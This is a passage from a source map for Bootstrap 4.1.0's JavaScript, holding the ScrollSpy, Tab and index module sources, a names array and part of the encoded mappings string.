'4.1.0'\n const DATA_KEY = 'bs.scrollspy'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Default = {\n offset : 10,\n method : 'auto',\n target : ''\n }\n\n const DefaultType = {\n offset : 'number',\n method : 'string',\n target : '(string|element)'\n }\n\n const Event = {\n ACTIVATE : `activate${EVENT_KEY}`,\n SCROLL : `scroll${EVENT_KEY}`,\n LOAD_DATA_API : `load${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_ITEM : 'dropdown-item',\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active'\n }\n\n const Selector = {\n DATA_SPY : '[data-spy=\"scroll\"]',\n ACTIVE : '.active',\n NAV_LIST_GROUP : '.nav, .list-group',\n NAV_LINKS : '.nav-link',\n NAV_ITEMS : '.nav-item',\n LIST_ITEMS : '.list-group-item',\n DROPDOWN : '.dropdown',\n DROPDOWN_ITEMS : '.dropdown-item',\n DROPDOWN_TOGGLE : '.dropdown-toggle'\n }\n\n const OffsetMethod = {\n OFFSET : 'offset',\n POSITION : 'position'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class ScrollSpy {\n constructor(element, config) {\n this._element = element\n this._scrollElement = element.tagName === 'BODY' ? window : element\n this._config = this._getConfig(config)\n this._selector = `${this._config.target} ${Selector.NAV_LINKS},` +\n `${this._config.target} ${Selector.LIST_ITEMS},` +\n `${this._config.target} ${Selector.DROPDOWN_ITEMS}`\n this._offsets = []\n this._targets = []\n this._activeTarget = null\n this._scrollHeight = 0\n\n $(this._scrollElement).on(Event.SCROLL, (event) => this._process(event))\n\n this.refresh()\n this._process()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n refresh() {\n const autoMethod = this._scrollElement === this._scrollElement.window\n ? OffsetMethod.OFFSET : OffsetMethod.POSITION\n\n const offsetMethod = this._config.method === 'auto'\n ? autoMethod : this._config.method\n\n const offsetBase = offsetMethod === OffsetMethod.POSITION\n ? this._getScrollTop() : 0\n\n this._offsets = []\n this._targets = []\n\n this._scrollHeight = this._getScrollHeight()\n\n const targets = $.makeArray($(this._selector))\n\n targets\n .map((element) => {\n let target\n const targetSelector = Util.getSelectorFromElement(element)\n\n if (targetSelector) {\n target = $(targetSelector)[0]\n }\n\n if (target) {\n const targetBCR = target.getBoundingClientRect()\n if (targetBCR.width || targetBCR.height) {\n // TODO (fat): remove sketch reliance on jQuery position/offset\n return [\n $(target)[offsetMethod]().top + offsetBase,\n targetSelector\n ]\n }\n }\n return null\n })\n .filter((item) => item)\n .sort((a, b) => a[0] - b[0])\n .forEach((item) => {\n this._offsets.push(item[0])\n this._targets.push(item[1])\n })\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._scrollElement).off(EVENT_KEY)\n\n this._element = null\n this._scrollElement = null\n this._config = null\n this._selector = null\n this._offsets = null\n this._targets = null\n this._activeTarget = null\n this._scrollHeight = null\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n\n if (typeof config.target !== 'string') {\n let id = $(config.target).attr('id')\n if (!id) {\n id = Util.getUID(NAME)\n $(config.target).attr('id', id)\n }\n config.target = `#${id}`\n }\n\n Util.typeCheckConfig(NAME, config, DefaultType)\n\n return config\n }\n\n _getScrollTop() {\n return this._scrollElement === window\n ? this._scrollElement.pageYOffset : this._scrollElement.scrollTop\n }\n\n _getScrollHeight() {\n return this._scrollElement.scrollHeight || Math.max(\n document.body.scrollHeight,\n document.documentElement.scrollHeight\n )\n }\n\n _getOffsetHeight() {\n return this._scrollElement === window\n ? window.innerHeight : this._scrollElement.getBoundingClientRect().height\n }\n\n _process() {\n const scrollTop = this._getScrollTop() + this._config.offset\n const scrollHeight = this._getScrollHeight()\n const maxScroll = this._config.offset +\n scrollHeight -\n this._getOffsetHeight()\n\n if (this._scrollHeight !== scrollHeight) {\n this.refresh()\n }\n\n if (scrollTop >= maxScroll) {\n const target = this._targets[this._targets.length - 1]\n\n if (this._activeTarget !== target) {\n this._activate(target)\n }\n return\n }\n\n if (this._activeTarget && scrollTop < this._offsets[0] && this._offsets[0] > 0) {\n this._activeTarget = null\n this._clear()\n return\n }\n\n for (let i = this._offsets.length; i--;) {\n const isActiveTarget = this._activeTarget !== this._targets[i] &&\n scrollTop >= this._offsets[i] &&\n (typeof this._offsets[i + 1] === 'undefined' ||\n scrollTop < this._offsets[i + 1])\n\n if (isActiveTarget) {\n this._activate(this._targets[i])\n }\n }\n }\n\n _activate(target) {\n this._activeTarget = target\n\n this._clear()\n\n let queries = this._selector.split(',')\n // eslint-disable-next-line arrow-body-style\n queries = queries.map((selector) => {\n return `${selector}[data-target=\"${target}\"],` +\n `${selector}[href=\"${target}\"]`\n })\n\n const $link = $(queries.join(','))\n\n if ($link.hasClass(ClassName.DROPDOWN_ITEM)) {\n $link.closest(Selector.DROPDOWN).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n $link.addClass(ClassName.ACTIVE)\n } else {\n // Set triggered link as active\n $link.addClass(ClassName.ACTIVE)\n // Set triggered links parents as active\n // With both <ul> and <nav> markup a parent is the previous sibling of any nav ancestor\n $link.parents(Selector.NAV_LIST_GROUP).prev(`${Selector.NAV_LINKS}, ${Selector.LIST_ITEMS}`).addClass(ClassName.ACTIVE)\n // Handle special case when .nav-link is inside .nav-item\n $link.parents(Selector.NAV_LIST_GROUP).prev(Selector.NAV_ITEMS).children(Selector.NAV_LINKS).addClass(ClassName.ACTIVE)\n }\n\n $(this._scrollElement).trigger(Event.ACTIVATE, {\n relatedTarget: target\n })\n }\n\n _clear() {\n $(this._selector).filter(Selector.ACTIVE).removeClass(ClassName.ACTIVE)\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' && config\n\n if (!data) {\n data = new ScrollSpy(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(window).on(Event.LOAD_DATA_API, () => {\n const scrollSpys = $.makeArray($(Selector.DATA_SPY))\n\n for (let i = scrollSpys.length; i--;) {\n const $spy = $(scrollSpys[i])\n ScrollSpy._jQueryInterface.call($spy, $spy.data())\n }\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = ScrollSpy._jQueryInterface\n $.fn[NAME].Constructor = ScrollSpy\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return ScrollSpy._jQueryInterface\n }\n\n return ScrollSpy\n})($)\n\nexport default ScrollSpy\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tab.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tab = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tab'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tab'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DROPDOWN_MENU : 'dropdown-menu',\n ACTIVE : 'active',\n DISABLED : 'disabled',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DROPDOWN : '.dropdown',\n NAV_LIST_GROUP : '.nav, .list-group',\n ACTIVE : '.active',\n ACTIVE_UL : '> li > .active',\n DATA_TOGGLE : '[data-toggle=\"tab\"], [data-toggle=\"pill\"], [data-toggle=\"list\"]',\n DROPDOWN_TOGGLE : '.dropdown-toggle',\n DROPDOWN_ACTIVE_CHILD : '> .dropdown-menu .active'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Tab {\n constructor(element) {\n this._element = element\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n // Public\n\n show() {\n if (this._element.parentNode &&\n this._element.parentNode.nodeType === Node.ELEMENT_NODE &&\n $(this._element).hasClass(ClassName.ACTIVE) ||\n $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n let target\n let previous\n const listElement = $(this._element).closest(Selector.NAV_LIST_GROUP)[0]\n const selector = Util.getSelectorFromElement(this._element)\n\n if (listElement) {\n const itemSelector = listElement.nodeName === 'UL' ? Selector.ACTIVE_UL : Selector.ACTIVE\n previous = $.makeArray($(listElement).find(itemSelector))\n previous = previous[previous.length - 1]\n }\n\n const hideEvent = $.Event(Event.HIDE, {\n relatedTarget: this._element\n })\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget: previous\n })\n\n if (previous) {\n $(previous).trigger(hideEvent)\n }\n\n $(this._element).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented() ||\n hideEvent.isDefaultPrevented()) {\n return\n }\n\n if (selector) {\n target = $(selector)[0]\n }\n\n this._activate(\n this._element,\n listElement\n )\n\n const complete = () => {\n const hiddenEvent = $.Event(Event.HIDDEN, {\n relatedTarget: this._element\n })\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget: previous\n })\n\n $(previous).trigger(hiddenEvent)\n $(this._element).trigger(shownEvent)\n }\n\n if (target) {\n this._activate(target, target.parentNode, complete)\n } else {\n complete()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n this._element = null\n }\n\n // Private\n\n _activate(element, container, callback) {\n let activeElements\n if (container.nodeName === 'UL') {\n activeElements = $(container).find(Selector.ACTIVE_UL)\n } else {\n activeElements = $(container).children(Selector.ACTIVE)\n }\n\n const active = activeElements[0]\n const isTransitioning = callback &&\n (active && $(active).hasClass(ClassName.FADE))\n\n const complete = () => this._transitionComplete(\n element,\n active,\n callback\n )\n\n if (active && isTransitioning) {\n const transitionDuration = Util.getTransitionDurationFromElement(active)\n\n $(active)\n .one(Util.TRANSITION_END, complete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n complete()\n }\n }\n\n _transitionComplete(element, active, callback) {\n if (active) {\n $(active).removeClass(`${ClassName.SHOW} ${ClassName.ACTIVE}`)\n\n const dropdownChild = $(active.parentNode).find(\n Selector.DROPDOWN_ACTIVE_CHILD\n )[0]\n\n if (dropdownChild) {\n $(dropdownChild).removeClass(ClassName.ACTIVE)\n }\n\n if (active.getAttribute('role') === 'tab') {\n active.setAttribute('aria-selected', false)\n }\n }\n\n $(element).addClass(ClassName.ACTIVE)\n if (element.getAttribute('role') === 'tab') {\n element.setAttribute('aria-selected', true)\n }\n\n Util.reflow(element)\n $(element).addClass(ClassName.SHOW)\n\n if (element.parentNode &&\n $(element.parentNode).hasClass(ClassName.DROPDOWN_MENU)) {\n const dropdownElement = $(element).closest(Selector.DROPDOWN)[0]\n if (dropdownElement) {\n $(dropdownElement).find(Selector.DROPDOWN_TOGGLE).addClass(ClassName.ACTIVE)\n }\n\n element.setAttribute('aria-expanded', true)\n }\n\n if (callback) {\n callback()\n }\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n\n if (!data) {\n data = new Tab(this)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n Tab._jQueryInterface.call($(this), 'show')\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Tab._jQueryInterface\n $.fn[NAME].Constructor = Tab\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Tab._jQueryInterface\n }\n\n return Tab\n})($)\n\nexport default Tab\n","import $ from 'jquery'\nimport Alert from './alert'\nimport Button from './button'\nimport Carousel from './carousel'\nimport Collapse from './collapse'\nimport Dropdown from './dropdown'\nimport Modal from './modal'\nimport Popover from './popover'\nimport Scrollspy from './scrollspy'\nimport Tab from './tab'\nimport Tooltip from './tooltip'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.0.0): index.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\n(($) => {\n if (typeof $ === 'undefined') {\n throw new TypeError('Bootstrap\\'s JavaScript requires jQuery. jQuery must be included before Bootstrap\\'s JavaScript.')\n }\n\n const version = $.fn.jquery.split(' ')[0].split('.')\n const minMajor = 1\n const ltMajor = 2\n const minMinor = 9\n const minPatch = 1\n const maxMajor = 4\n\n if (version[0] < ltMajor && version[1] < minMinor || version[0] === minMajor && version[1] === minMinor && version[2] < minPatch || version[0] >= maxMajor) {\n throw new Error('Bootstrap\\'s JavaScript requires at least jQuery v1.9.1 but less than v4.0.0')\n }\n})($)\n\nexport {\n Util,\n Alert,\n Button,\n Carousel,\n Collapse,\n Dropdown,\n Modal,\n Popover,\n Scrollspy,\n Tab,\n Tooltip\n}\n"],"names":["Util","$","TRANSITION_END","MAX_UID","MILLISECONDS_MULTIPLIER","toType","obj","toString","call","match","toLowerCase","getSpecialTransitionEndEvent","bindType","delegateType","handle","event","target","is","handleObj","handler","apply","arguments","undefined","transitionEndEmulator","duration","called","one","setTimeout","triggerTransitionEnd","setTransitionEndSupport","fn","emulateTransitionEnd","special","getUID","prefix","Math","random","document","getElementById","getSelectorFromElement","element","selector","getAttribute","$selector","find","length","err","getTransitionDurationFromElement","transitionDuration","css","floatTransitionDuration","parseFloat","split","reflow","offsetHeight","trigger","supportsTransitionEnd","Boolean","isElement","nodeType","typeCheckConfig","componentName","config","configTypes","property","Object","prototype","hasOwnProperty","expectedTypes","value","valueType","RegExp","test","Error","toUpperCase","Alert","NAME","VERSION","DATA_KEY","EVENT_KEY","DATA_API_KEY","JQUERY_NO_CONFLICT","Selector","DISMISS","Event","CLOSE","CLOSED","CLICK_DATA_API","ClassName","ALERT","FADE","SHOW","_element","close","rootElement","_getRootElement","customEvent","_triggerCloseEvent","isDefaultPrevented","_removeElement","dispose","removeData","parent","closest","closeEvent","removeClass","hasClass","_destroyElement","detach","remove","_jQueryInterface","each","$element","data","_handleDismiss","alertInstance","preventDefault","on","Constructor","noConflict","Button","ACTIVE","BUTTON","FOCUS","DATA_TOGGLE_CARROT","DATA_TOGGLE","INPUT","FOCUS_BLUR_DATA_API","toggle","triggerChangeEvent","addAriaPressed","input","type","checked","activeElement","hasAttribute","classList","contains","focus","setAttribute","toggleClass","button","Carousel","ARROW_LEFT_KEYCODE","ARROW_RIGHT_KEYCODE","TOUCHEVENT_COMPAT_WAIT","Default","interval","keyboard","slide","pause","wrap","DefaultType","Direction","NEXT","PREV","LEFT","RIGHT","SLIDE","SLID","KEYDOWN","MOUSEENTER","MOUSELEAVE","TOUCHEND","LOAD_DATA_API","CAROUSEL","ITEM","ACTIVE_ITEM","NEXT_PREV","INDICATORS","DATA_SLIDE","DATA_RIDE","_items","_interval","_activeElement","_isPaused","_isSliding","touchTimeout","_config","_getConfig","_indicatorsElement","_addEventListeners","next","_slide","nextWhenVisible","hidden","prev","cycle","clearInterval","setInterval","visibilityState","bind","to","index","activeIndex","_getItemIndex","direction","off","_keydown","documentElement","clearTimeout","tagName","which","makeArray","indexOf","_getItemByDirection","isNextDirection","isPrevDirection","lastItemIndex","isGoingToWrap","delta","itemIndex","_triggerSlideEvent","relatedTarget","eventDirectionName","targetIndex","fromIndex","slideEvent","from","_setActiveIndicatorElement","nextIndicator","children","addClass","activeElementIndex","nextElement","nextElementIndex","isCycling","directionalClassName","orderClassName","slidEvent","action","TypeError","_dataApiClickHandler","slideIndex","window","$carousel","Collapse","SHOWN","HIDE","HIDDEN","COLLAPSE","COLLAPSING","COLLAPSED","Dimension","WIDTH","HEIGHT","ACTIVES","_isTransitioning","_triggerArray","id","tabToggles","i","elem","filter","_selector","push","_parent","_getParent","_addAriaAndCollapsedClass","hide","show","actives","activesData","not","startEvent","dimension","_getDimension","style","attr","setTransitioning","complete","capitalizedDimension","slice","scrollSize","getBoundingClientRect","$elem","isTransitioning","hasWidth","jquery","_getTargetFromElement","triggerArray","isOpen","$this","currentTarget","$trigger","$target","Dropdown","ESCAPE_KEYCODE","SPACE_KEYCODE","TAB_KEYCODE","ARROW_UP_KEYCODE","ARROW_DOWN_KEYCODE","RIGHT_MOUSE_BUTTON_WHICH","REGEXP_KEYDOWN","CLICK","KEYDOWN_DATA_API","KEYUP_DATA_API","DISABLED","DROPUP","DROPRIGHT","DROPLEFT","MENURIGHT","MENULEFT","POSITION_STATIC","FORM_CHILD","MENU","NAVBAR_NAV","VISIBLE_ITEMS","AttachmentMap","TOP","TOPEND","BOTTOM","BOTTOMEND","RIGHTEND","LEFTEND","offset","flip","boundary","reference","display","_popper","_menu","_getMenuElement","_inNavbar","_detectNavbar","disabled","_getParentFromElement","isActive","_clearMenus","showEvent","Popper","referenceElement","_getPopperConfig","body","noop","destroy","update","scheduleUpdate","stopPropagation","constructor","_getPlacement","$parentDropdown","placement","offsetConf","offsets","popperConfig","modifiers","enabled","preventOverflow","boundariesElement","applyStyle","toggles","context","dropdownMenu","hideEvent","parentNode","_dataApiKeydownHandler","items","get","e","Modal","backdrop","FOCUSIN","RESIZE","CLICK_DISMISS","KEYDOWN_DISMISS","MOUSEUP_DISMISS","MOUSEDOWN_DISMISS","SCROLLBAR_MEASURER","BACKDROP","OPEN","DIALOG","DATA_DISMISS","FIXED_CONTENT","STICKY_CONTENT","NAVBAR_TOGGLER","_dialog","_backdrop","_isShown","_isBodyOverflowing","_ignoreBackdropClick","_scrollbarWidth","_checkScrollbar","_setScrollbar","_adjustDialog","_setEscapeEvent","_setResizeEvent","_showBackdrop","_showElement","transition","_hideModal","handleUpdate","Node","ELEMENT_NODE","appendChild","removeAttribute","scrollTop","_enforceFocus","shownEvent","transitionComplete","has","_resetAdjustments","_resetScrollbar","_removeBackdrop","callback","animate","createElement","className","appendTo","backdropTransitionDuration","callbackRemove","isModalOverflowing","scrollHeight","clientHeight","paddingLeft","paddingRight","rect","left","right","innerWidth","_getScrollbarWidth","actualPadding","calculatedPadding","actualMargin","marginRight","calculatedMargin","padding","margin","scrollDiv","scrollbarWidth","width","clientWidth","removeChild","Tooltip","CLASS_PREFIX","BSCLS_PREFIX_REGEX","animation","template","title","delay","html","container","fallbackPlacement","AUTO","HoverState","OUT","INSERTED","FOCUSOUT","TOOLTIP","TOOLTIP_INNER","ARROW","Trigger","HOVER","MANUAL","_isEnabled","_timeout","_hoverState","_activeTrigger","tip","_setListeners","enable","disable","toggleEnabled","dataKey","_getDelegateConfig","click","_isWithActiveTrigger","_enter","_leave","getTipElement","isWithContent","isInTheDom","ownerDocument","tipId","setContent","attachment","_getAttachment","addAttachmentClass","behavior","arrow","onCreate","originalPlacement","_handlePopperPlacementChange","onUpdate","_fixTransition","prevHoverState","_cleanTipClass","getTitle","$tip","setElementContent","content","empty","append","text","triggers","forEach","eventIn","eventOut","_fixTitle","titleType","key","tabClass","join","initConfigAnimation","Popover","TITLE","CONTENT","_getContent","ScrollSpy","method","ACTIVATE","SCROLL","DROPDOWN_ITEM","DROPDOWN_MENU","DATA_SPY","NAV_LIST_GROUP","NAV_LINKS","NAV_ITEMS","LIST_ITEMS","DROPDOWN","DROPDOWN_ITEMS","DROPDOWN_TOGGLE","OffsetMethod","OFFSET","POSITION","_scrollElement","_offsets","_targets","_activeTarget","_scrollHeight","_process","refresh","autoMethod","offsetMethod","offsetBase","_getScrollTop","_getScrollHeight","targets","map","targetSelector","targetBCR","height","top","item","sort","a","b","pageYOffset","max","_getOffsetHeight","innerHeight","maxScroll","_activate","_clear","isActiveTarget","queries","$link","parents","scrollSpys","$spy","Tab","ACTIVE_UL","DROPDOWN_ACTIVE_CHILD","previous","listElement","itemSelector","nodeName","hiddenEvent","activeElements","active","_transitionComplete","dropdownChild","dropdownElement","version","minMajor","ltMajor","minMinor","minPatch","maxMajor"],"mappings":"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